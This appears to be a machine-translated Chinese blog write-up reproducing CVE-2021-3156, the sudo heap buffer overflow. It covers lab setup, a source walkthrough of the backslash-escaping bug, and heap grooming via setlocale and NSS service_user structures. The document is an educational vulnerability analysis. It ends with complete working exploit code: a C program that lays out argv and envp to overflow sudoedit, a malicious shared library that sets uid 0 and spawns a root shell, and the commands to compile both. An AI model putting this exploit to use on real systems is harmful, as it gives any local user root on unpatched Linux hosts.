当前位置:网站首页>Cve-2021-3156 vulnerability recurrence notes

Cve-2021-3156 vulnerability recurrence notes

2022-07-07 05:33:00 Ayakaaaa

One 、 summary

CVE-2021-3156 The main cause of the vulnerability lies in sudo There is a heap based buffer overflow vulnerability in , When in class Unix When executing commands on the operating system of , Not root Users can use sudo Command to root Execute the command as a user . because sudo Incorrectly escaping backslashes in parameters resulted in Heap Buffer Overflow , This allows any local user ( Whether it's in or not sudoers In file ) get root jurisdiction , No authentication required , And the attacker does not need to know the user password

Two 、 Vulnerability introduction and environment construction

Vulnerability profile :

Hole number : CVE-2021-3156
Vulnerable products : sudo
Affects version :
1.8.2-1.8.31sp12;
1.9.0-1.9.5sp1
Use the consequences : Local rights

Vulnerability detection :

Users first use non root Account login system , And then execute

sudoedit -s / 

If you return as shown in the figure with usage Error report at the beginning :
 Insert picture description here
It means that the current system does not have this vulnerability or the vulnerability has been repaired
If you return as shown in the figure below, use sudoedit An error that begins with indicates that the system has this vulnerability :
 Insert picture description here

Environment building :

Because of ubuntu The system has fixed this vulnerability , So choose the right one directly docker
docker Environmental Science : https://hub.docker.com/r/chenaotian/cve-2021-3156
This docker Provided in :
1. Self compiled adjustable source code sudo
2. With debugging symbol glibc
3.gdb and gdb plug-in unit pwngdb & pwndbg
4.exp.c And its successful compilation exp

This is of great help to our vulnerability analysis and vulnerability recurrence process , It allows us to spend more time and energy on the analysis and utilization of vulnerable code , Instead of being forced to match the environment .

First pull the mirror image
 Insert picture description here

Then start docker, Check it out. sudo Version of :
 Insert picture description here
Use the vulnerability detection method mentioned above to check whether this vulnerability exists :
 Insert picture description here
Finally, check whether you can get through :
 Insert picture description here
It's using id by 1000 Of test Account execution exp, After the execution, the user permission has become root, Successful claim , So far, all the preparations for the recurrence of vulnerabilities have been completed , Next, conduct vulnerability analysis

3、 ... and 、 Vulnerability analysis

First, let's analyze the vulnerability POC:

sudoedit -s '\' `python3 -c "print('A'*80)"`  

 Insert picture description here
You can see that it is a memory error , This vulnerability lies in sudo The backslash is not handled correctly . When using -s or -i When ,sudo Can escape special characters , But if you use -s or -i Parameters and sudoedit command , Special characters will not be escaped , This will cause a buffer overflow . You can see what we use poc Is the use of sudoedit Command and -s Parameters , Followed by a backslash plus python3 Command generated 80 individual A.

Next, let's go deep into sudo Go to the source code to see why such a line of command can cause buffer overflow , This will lead to the collapse of the program and even finally achieve the purpose of raising rights .

First look sudo.c Of 133 That's ok , That is to say main Function position

1.int parse_args(int argc, char **argv, int *nargc, char ***nargv,  
2.    struct sudo_settings **settingsp, char ***env_addp)  
3.{
      
4.    struct environment extra_env;  
5.    int mode = 0;       /* what mode is sudo to be run in? */  
6.    int flags = 0;      /* mode flags */  
7.    int valid_flags = DEFAULT_VALID_FLAGS;  
8.    int ch, i;  
9.    char *cp;  
10.    const char *runas_user = NULL;  
11.    const char *runas_group = NULL;  
12.    const char *progname;  
13.    int proglen;  
14.    debug_decl(parse_args, SUDO_DEBUG_ARGS)  
15.    ······  
16.    ······  
17.    /* First, check to see if we were invoked as "sudoedit". */  
18.    proglen = strlen(progname);  
19.    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
      
20.    progname = "sudoedit";  
21.    mode = MODE_EDIT;  
22.    sudo_settings[ARG_SUDOEDIT].value = "true";  
23.    }  
24.    ······  
25.    ······  
26.    case 's':  
27.            sudo_settings[ARG_USER_SHELL].value = "true";  
28.            SET(flags, MODE_SHELL);  
29.            break;  
30.    ······  
31.    ······  
32.}  

First parse_args It will detect the length of the executed command , If it is greater than 4 And the last four letters are edit, It means that the call is not sudo It is sudoedit, So will mode Set to MODE_EDIT, Then check the parameters , If the parameter is -s, Then put flags Set to MODE_SHELL

Follow up main function , And then it will execute policy_check function

Follow up :

1.static int policy_check(struct plugin_container *plugin, int argc, char * const argv[],  
2.    char *env_add[], char **command_info[], char **argv_out[],  
3.    char **user_env_out[])  
4.{
      
5.    int ret;  
6.    debug_decl(policy_check, SUDO_DEBUG_PCOMM)  
7.  
8.    if (plugin->u.policy->check_policy == NULL) {
      
9.    sudo_fatalx(U_("policy plugin %s is missing the `check_policy' method"),  
10.        plugin->name);  
11.    }  
12.    sudo_debug_set_active_instance(plugin->debug_instance);  
13.    ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,  
14.    argv_out, user_env_out);  
15.    sudo_debug_set_active_instance(sudo_debug_instance);  
16.    debug_return_int(ret);  
17.}  

You will find that the program execution flow goes plugin->u.policy->check_policy(argc, argv, env_add, command_info,argv_out, user_env_out);

Continue to follow up , Because the virtual table is used here , Direct static is not very good-looking. You can get what function is called , So use gdb Dynamic debugging :
 Insert picture description here

The breakpoint is on policy_check Function here , Then step in

 Insert picture description here

You can see , there call The function actually calls sudoers_policy_check function , Let's see what the source code of this function looks like :

1.sudoers_policy_check(int argc, char * const argv[], char *env_add[],  
2.    char **command_infop[], char **argv_out[], char **user_env_out[])  
3.{
      
4.    struct sudoers_exec_args exec_args;  
5.    int ret;  
6.    debug_decl(sudoers_policy_check, SUDOERS_DEBUG_PLUGIN)  
7.  
8.    if (!ISSET(sudo_mode, MODE_EDIT))  
9.    SET(sudo_mode, MODE_RUN);  
10.  
11.    exec_args.argv = argv_out;  
12.    exec_args.envp = user_env_out;  
13.    exec_args.info = command_infop;  
14.  
15.    ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);  
16.    if (ret == true && sudo_version >= SUDO_API_MKVERSION(1, 3)) {
      
17.    /* Unset close function if we don't need it to avoid extra process. */  
18.    if (!def_log_input && !def_log_output && !def_use_pty &&  
19.        !sudo_auth_needs_end_session())  
20.        sudoers_policy.close = NULL;  
21.    }  
22.    debug_return_int(ret);  
23.}  

The function is very short , Basically, set some variables , Then I called sudoers_policy_main function , Follow up to sudoers_policy_main Function :

1.int  sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],  
2.    void *closure)  
3.{
      
4.    ··· ···  
5.    ··· ···  
6.  
7.    /* 8. * Make a local copy of argc/argv, with special handling 9. * for pseudo-commands and the '-i' option. 10. */  
11.    if (argc == 0) {
      
12.    ··· ···  
13.    } else {
      
14.    /* Must leave an extra slot before NewArgv for bash's --login */  
15.    NewArgc = argc;  
16.    NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));  
17.    ··· ···  
18.    }  
19.    memcpy(++NewArgv, argv, argc * sizeof(char *));  
20.    NewArgv[NewArgc] = NULL;  
21.    ··· ···  
22.    }  
23.    }  
24.    ··· ···  
25.    cmnd_status = set_cmnd();  
26.    ··· ···  
27.    ··· ···  
28.    ··· ···  
29.}  

Because this function is long , Only some noteworthy operations are selected here , Others are replaced by ellipsis
First, I passed some parameters , And then call set_cmnd, I am here gdb The command used when adjusting is sudoedit -s ‘\’ aaaaaaaa

 Insert picture description here
Look at the party call set_cmnd When NewArgc and NewArgv What is the value of

 Insert picture description here
Now let's see set_cmnd What did you do

1.static int  
2.set_cmnd(void)  
3.{
      
4.    ··· ···  
5.    ··· ···  
6.  
7.    /* set user_args */  
8.    if (NewArgc > 1) {
      
9.        char *to, *from, **av;  
10.        size_t size, n;  
11.  
12.        /* Alloc and build up user_args. */  
13.        // Calculate according to the total length of the parameter size,  follow-up malloc  apply , No problem  
14.        for (size = 0, av = NewArgv + 1; *av; av++)  
15.        size += strlen(*av) + 1;  
16.        if (size == 0 || (user_args = malloc(size)) == NULL) {
      
17.        sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));  
18.        debug_return_int(-1);  
19.        }  
20.        if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
      
21.        /* 22. * When running a command via a shell, the sudo front-end 23. * escapes potential meta chars. We unescape non-spaces 24. * for sudoers matching and logging purposes. 25. */  
26.         // Copy all parameters together and put them in the heap , Logic is to encounter '\' Add non space type characters, and only copy non space characters  
27.         // But here \x00  It is not a space type character  
28.         // He doesn't consider parameters if there is only one '\' Or to '\' The end and the next two characters are followed by another string  
29.        for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
      
30.            while (*from) {
      
31.            if (from[0] == '\\' && !isspace((unsigned char)from[1]))  
32.                from++;  
33.            *to++ = *from++;  
34.            }  
35.            *to++ = ' ';  
36.        }  
37.        *--to = '\0';  
38.        }   
39.        ··· ···  
40.    }  
41.    }  
42.    ··· ···  
43.    ··· ···  
44.}  

It also omits some code that does not need to be analyzed

Come here , We finally came to the overflow point , The parameters we input are stored in the heap here , We cut this code into small pieces to analyze its intention

The first is to apply for memory :

1.for (size = 0, av = NewArgv + 1; *av; av++)  
2.        size += strlen(*av) + 1;  
3.        if (size == 0 || (user_args = malloc(size)) == NULL) {
      
4.        sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));  
5.        debug_return_int(-1);  
6.        }  
7. 

Here we calculate the length of each parameter , Then add them together , Get one size, then malloc(size), The intention here is obvious , Just calculate how much space is needed to install all the parameters , Then apply , The pointer is given to user_args

Next is the copy part :

1.for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
      
2.            while (*from) {
      
3.            if (from[0] == '\\' && !isspace((unsigned char)from[1]))  
4.                from++;  
5.            *to++ = *from++;  
6.            }  
7.            *to++ = ' ';  
8.        }  
9.        *--to = '\0';  

Here is the loophole , It takes out every parameter , Give Way from The pointer points to the parameter content ,to The pointer points to heap memory , Then judge if it is a backslash + The structure of non space characters , Just copy the last character , Do not copy backslashes . Parameters are separated by spaces .
Here, let's pay close attention to NewArgv How to save our parameters , It's still the picture just now
 Insert picture description here
But this time we focus on the address , You can see NewArgv[0] There's a place ,NewArgv[1] And later parameters will be continuously stored in another place , Intermediate use \x00 Separate
You can also see by directly checking the memory :

 Insert picture description here
Now consider this special case , If there is a parameter with only one backslash , Then according to the flow in the above code , Because of the backslash +\x00 Meet the backslash + The condition of non space characters , therefore from++, And then \x00 Copy to heap memory ,from Again ++, Have you found any problems , here from Has pointed to the next parameter , And how the program distinguishes between different parameters ?
by while The judgment condition in the loop , According to \x00 To judge , So this judgment is bypassed directly , Let the program copy two parameters continuously , And the backslash parameter is copied , The next parameter will be copied again , about sudoedit -s ‘\’ AAAAAAAA Come on , It is equivalent to copying the program AAAAAAAA two , But apply for memory calculation size Only one was calculated AAAAAAAA, So it leads to heap overflow , The reason why this vulnerability is highly harmful is that the content of heap overflow is completely controllable by users , That is why it is possible to make further use of it, such as raising rights .
The path that triggers the vulnerability can be summarized as :
sudo.c : main
sudo.c : policy_check
policy.c : sudoerrs_policy_check
sudoers.c : sudoers_policy_main
sudoers.c : set_cmnd
sudoers.c : 859

For the convenience of triggering vulnerabilities , I change the parameter to 0x10 individual A, Then go to calculation size That step :
 Insert picture description here
You can see size by 19, That is, the length of the backslash 1+1+16 individual A+1, by 19 No problem , Next, go to the copy

 Insert picture description here
Put this for End of cycle , Then look at the heap memory :

 Insert picture description here

You can see that the heap structure has been destroyed , Original size by 19, So I will apply for a size of 0x20 Of chunk, That is to say 0x561d2f447e80 there chunk, But the copy 0x22 A byte goes in , So take the next chunk Of size It's covered , That's why gdb When analyzing the fast structure of the reactor 0x4141414141414141 Identified as size

Analysis here , The cause of the vulnerability has been thoroughly analyzed , Next, we will continue to focus on how to further exploit this vulnerability .

Four 、 Use technique analysis

This vulnerability exploitation method has certain heap layout difficulty , The final lifting is through heap overflow coverage nss_load_library Function load so The structure that needs to be used when service_user, Overwrite so Name string , In this way, the program can load the so file , To complete arbitrary code execution .
There are two things we need to do :
1. Make clear nss_load_library Function call process and related data structure mechanism
2.setlocale How to pass environment variables LC_* Perform heap layout

Exploit critical code snippets :

1.static int  
2.nss_load_library (service_user *ni)  
3.{
      
4.  if (ni->library == NULL)  
5.    {
      
6.      static name_database default_table;  
7.      ni->library = nss_new_service (service_table ?: &default_table,  
8.                     ni->name);  
9.      if (ni->library == NULL)  
10.    return -1;  
11.    }  
12.  
13.  if (ni->library->lib_handle == NULL)  
14.    {
      
15.      ··· ···  
16.      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,  
17.                          "libnss_"),  
18.                    ni->name),  
19.              ".so"),  
20.        __nss_shlib_revision);  
21.  
22.      ni->library->lib_handle = __libc_dlopen (shlib_name);  
23.      ··· ···  
24.      ··· ···  
25.  }  
26.}  

ni For the pile service_user Structure , When ni->library->lib_handle by NULL when , Will call __libc_dlopen Conduct so load , As long as we can pass heap overflow ni->library Overlay as 0, It will make the program call nss_new_service Function let ni Structure reinitialization , Just initialized ni->library->lib_handle It must be 0, So it will run to the following code block , Execute to __libc_dlopen function .
Here is the core code of vulnerability exploitation , Next, we consider how to achieve accurate heap overflow coverage ni Structure , So that's the point nss Mechanism , First /etc/ There is a file in the directory /etc/nsswitch.conf, Let's see what's written inside
 Insert picture description here
It stipulates that the program is looking for so What kind of approach and sequence should be adopted when using methods
Then let's look at the contents of the three structures

1.typedef struct service_user  
2.{
      
3.  /* And the link to the next entry. */  
4.  struct service_user *next;  
5.  /* Action according to result. */  
6.  lookup_actions actions[5];  
7.  /* Link to the underlying library object. */  
8.  service_library *library;  
9.  /* Collection of known functions. */  
10.  void *known;  
11.  /* Name of the service (`files', `dns', `nis', ...). */  
12.  char name[0];  
13.} service_user;  
14.  
15.typedef struct name_database_entry  
16.{
      
17.  /* And the link to the next entry. */  
18.  struct name_database_entry *next;  
19.  /* List of service to be used. */  
20.  service_user *service;  
21.  /* Name of the database. */  
22.  char name[0];  
23.} name_database_entry;  
24.  
25.typedef struct name_database  
26.{
      
27.  /* List of all known databases. */  
28.  name_database_entry *entry;  
29.  /* List of libraries with service implementation. */  
30.  service_library *library;  
31.} name_database; 

stay __nss_database_lookup Function , If the global entry service_table It's empty , It will call nss_parse_file To initialize , The relevant code is as follows :

1.int  
2.__nss_database_lookup (const char *database, const char *alternate_name,  
3.               const char *defconfig, service_user **ni)  
4.{
      
5.  ··· ···  
6.  /* Are we initialized yet? */  
7.  if (service_table == NULL)  
8.    /* Read config file. */  
9.    service_table = nss_parse_file (_PATH_NSSWITCH_CONF);  
10.  ··· ···  
11.}  

And keep looking nss_parse_file How is it realized :

1.static name_database *  
2.nss_parse_file (const char *fname)  
3.{
      
4.  FILE *fp;  
5.  name_database *result;  
6.  name_database_entry *last;  
7.  ··· ···  
8.  // open /etc/nsswitch.conf 
9.  fp = fopen (fname, "rce");  
10.  ··· ···  
11.  result = (name_database *) malloc (sizeof (name_database));  
12.  ··· ···  
13.  do  
14.    {
      
15.      name_database_entry *this;  
16.      ssize_t n;  
17.      n = __getline (&line, &len, fp);// getline  Here will apply for one 0x80  The size of chunk 
18.        
19.      ··· ···  
20.            
21.      this = nss_getline (line);  
22.      if (this != NULL)  
23.    {
      
24.      if (last != NULL)  
25.        last->next = this;  
26.      else  
27.        result->entry = this;  
28.  
29.      last = this;  
30.    }  
31.    }  
32.  while (!feof_unlocked (fp));  
33.  
34.  /* Free the buffer. */  
35.  free (line); // Before the function returns getline  Function application 0x80 chunk  release . 
36.  /* Close configuration file. */  
37.  fclose (fp);  
38.  
39.  return result;  
}  

Let's sort out the program logic here , The program will open /etc/nsswitch.conf, file , Read in the content and build a heap structure based on the content , Finally, the following structure is formed :
 Insert picture description here

These seven chunk It is applied in the same function at one time
besides , It is worth noting that , stay nss_parse_file There's a function __getline function , This function will apply for one according to the length of the read content chunk, And this chunk At the end nss_parse_file Function is released when it returns . because /etc/nsswitch.conf The longest line in the content format is the comment , And we can't control the file , So it can be thought that every time __getline Function chunk The length is the same , Fixed for 0x80 size .

So we can understand it as , This is a service Previously applied for the linked list , also service The linked list structure will be released after application , And in vuln chunk It can still be maintained before applying free Status is a very valuable chunk.

After analyzing this function , We have to know how to trigger it , When you need to call some , When searching the function of user or host information , The following process will be performed :

1.void *  
2.__nss_lookup_function (service_user *ni, const char *fct_name)  
3.{
      
4.  ··· ···  
5.        
6.  found = __tsearch (&fct_name, &ni->known, &known_compare);  
7.  ··· ···// Some operations not found are omitted  
8.        
9.  else  
10.    {
      
11.      known_function *known = malloc (sizeof *known);  
12.      ··· ···  
13.      else  
14.    {
      
15.      // call nss_load_library,  Check ni->library->lib_handle  Is it empty , If it is empty, restart dlopen 
16.      // Specifically nss_load_library  See the code above  
17.      ··· ···  
18.      if (nss_load_library (ni) != 0)  
19.        /* This only happens when out of memory. */  
20.        goto remove_from_tree;  
21.  
22.      if (ni->library->lib_handle == (void *) -1l)  
23.        /* Library not found => function not found. */  
24.        result = NULL;  
25.      else  
26.        {
      
27.          ··· ···  
28.                
29.          /* Construct the function name. */  
30.          __stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),  
31.                        ni->name),  
32.                  "_"),  
33.            fct_name);  
34.  
35.          /* Look up the symbol. */  
36.          result = __libc_dlsym (ni->library->lib_handle, name);  
37.        }  
38.          
39.        ··· ···  
40.        ··· ···  
41.  
42.    }  
43.    ···  
44.  return result;  
45.}  
libc_hidden_def (__nss_lookup_function)

You can see that it is here that the nss_load_library (ni), That is, as long as you call libnss_xx.so The function in , Will call nss_load_library To search . Just know after the heap overflow occurs , The first to be called libnss Which function does the related function belong to so, Then, the stack layout will so Of service_user Structure layout to vuln chunk Just behind
After analyzing the principle of arbitrary code execution , Let's talk about how to make heap layout , Only through reasonable heap layout , To successfully overflow to the corresponding structure without modifying other normal structures . Here's a way :setlocale
setlocale Heap mechanism of , The key is one sentence , According to what you want to release chunk Enter the environment variable of this length in sequence , It can ensure the release sequence and the relationship between them , But these chunk Not closely connected
Setlocale It is used to set the locale , There are several environment variable parameters , stay sudo Is used in setlocale(LC_ALL,“”); When the input parameter is LC_ALL when , From LC_IDENTIFICATION Start traversing all variables forward . For each call _nl_find_locale function , This function is more complicated , But returned newnames[category] In fact, it is the value of the corresponding environment variable , Will be called next strdup Function copies the string to the heap . Because the incoming is LC_ALL , Then a corresponding string array will be generated , Next, it will be verified with the default value of the global variable , If the check fails , Then it will be released ( It's easy to construct a failed input ).
in other words , We can construct some failure inputs of reasonable length , Realize any number of heap applications and heap releases of any length , This is very helpful for our heap layout .
Finally, find the first call after heap overflow nss The function in , Find the corresponding number according to this figure chunk:
 Insert picture description here
Then calculate the total length of the parameter , Give Way sudo Apply to our arranged chunk, And let the next nss Function application chunk be in sudo Applied chunk Below , And then use it sudo Heap overflow coverage caused service_user The structure can ,name stay service_user Structure offset 0x30 The location of , Cover it with our own .so Of name Arbitrary code execution can be realized

1.#include<stdio.h>  
2.#include<string.h>  
3.#include<stdlib.h>  
4.#include<math.h>  
5.  
6.#define __LC_CTYPE               0  
7.#define __LC_NUMERIC             1  
8.#define __LC_TIME                2  
9.#define __LC_COLLATE             3  
10.#define __LC_MONETARY            4  
11.#define __LC_MESSAGES            5  
12.#define __LC_ALL                 6  
13.#define __LC_PAPER               7  
14.#define __LC_NAME                8  
15.#define __LC_ADDRESS             9  
16.#define __LC_TELEPHONE          10  
17.#define __LC_MEASUREMENT        11  
18.#define __LC_IDENTIFICATION     12  
19.  
20.char * envName[13]={
    "LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELE  
21.PHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};  
22.  
23.int now=13;  
24.int envnow=0;  
25.int argvnow=0;  
26.char * envp[0x300];  
27.char * argv[0x300];  
28.char * addChunk(int size)  
29.{
      
30.    now --;  
31.    char * result;  
32.    if(now ==6)  
33.    {
      
34.        now --;  
35.    }  
36.    if(now>=0)  
37.    {
      
38.        result=malloc(size+0x20);  
39.        strcpy(result,envName[now]);  
40.        strcat(result,"[email protected]");  
41.        for(int i=9;i<=size-0x17;i++)  
42.            strcat(result,"A");  
43.        envp[envnow++]=result;  
44.    }  
45.    return result;  
46.}  
47.  
48.void final()  
49.{
      
50.    now --;  
51.    char * result;  
52.    if(now ==6)  
53.    {
      
54.        now --;  
55.    }  
56.    if(now>=0)  
57.    {
      
58.        result=malloc(0x100);  
59.        strcpy(result,envName[now]);  
60.        strcat(result,"=xxxxxxxxxxxxxxxxxxxxx");  
61.        envp[envnow++]=result;  
62.    }  
63.}  
64.  
65.int setargv(int size,int offset)  
66.{
      
67.    size-=0x10;  
68.    signed int x,y;  
69.    signed int a=-3;  
70.    signed int b=2*size-3;  
71.    signed int c=2*size-2-offset*2;  
72.    signed int tmp=b*b-4*a*c;  
73.    if(tmp<0)  
74.        return -1;  
75.    tmp=(signed int)sqrt((double)tmp*1.0);  
76.    signed int A=(0-b+tmp)/(2*a);  
77.    signed int B=(0-b-tmp)/(2*a);  
78.    if(A<0 && B<0)  
79.        return -1;  
80.    if((A>0 && B<0) || (A<0 && B>0))  
81.        x=(A>0) ? A: B;  
82.    if(A>0 && B > 0)  
83.        x=(A<B) ? A : B;  
84.    y=size-1-x*2;  
85.    int len=x+y+(x+y+y+1)*x/2;  
86.  
87.    while ((signed int)(offset-len)<2)  
88.    {
      
89.        x--;  
90.        y=size-1-x*2;  
91.        len=x+y+(x+y+1)*x/2;  
92.        if(x<0)  
93.            return -1;  
94.    }  
95.    int envoff=offset-len-2+0x30;  
96.    printf("%d,%d,%d\n",x,y,len);  
97.    char * Astring=malloc(size);  
98.    int i=0;  
99.    for(i=0;i<y;i++)  
100.        Astring[i]='A';  
101.    Astring[i]='\x00';  
102.  
103.    argv[argvnow++]="sudoedit";  
104.    argv[argvnow++]="-s";  
105.    for (i=0;i<x;i++)  
106.        argv[argvnow++]="\\";  
107.    argv[argvnow++]=Astring;  
108.    argv[argvnow++]="\\";  
109.    argv[argvnow++]=NULL;  
110.    for(i=0;i<envoff;i++)  
111.        envp[envnow++]="\\";  
112.    envp[envnow++]="X/test";  
113.    return 0;  
114.}  
115.  
116.int main()  
117.{
      
118.    setargv(0xa0,0x650);  
119.    addChunk(0x40);  
120.    addChunk(0x40);  
121.    addChunk(0xa0);  
122.    addChunk(0x40);  
123.    final();  
124.  
125.    execve("/usr/local/bin/sudoedit",argv,envp);  
126.}  



1.#include <unistd.h>  
2.#include <stdio.h>  
3.#include <stdlib.h>  
4.#include <string.h>  
5.  
6.static void __attribute__ ((constructor)) _init(void);  
7.  
8.static void _init(void) {
      
9.        printf("[+] bl1ng bl1ng! We got it!\n");  
10.#ifndef BRUTE  
11.        setuid(0); seteuid(0); setgid(0); setegid(0);  
12.        static char *a_argv[] = {
     "sh", NULL };  
13.        static char *a_envp[] = {
     "PATH=/bin:/usr/bin:/sbin", NULL };  
14.        execv("/bin/sh", a_argv);  
15.#endif  
16.}  

Compile command :

1.mkdir libnss_X  
2.gcc -fPIC -shared lib.c -o ./libnss_X/test.so.2  
3.gcc exp.c -o exp  
原网站

版权声明
本文为[Ayakaaaa]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/188/202207062337537762.html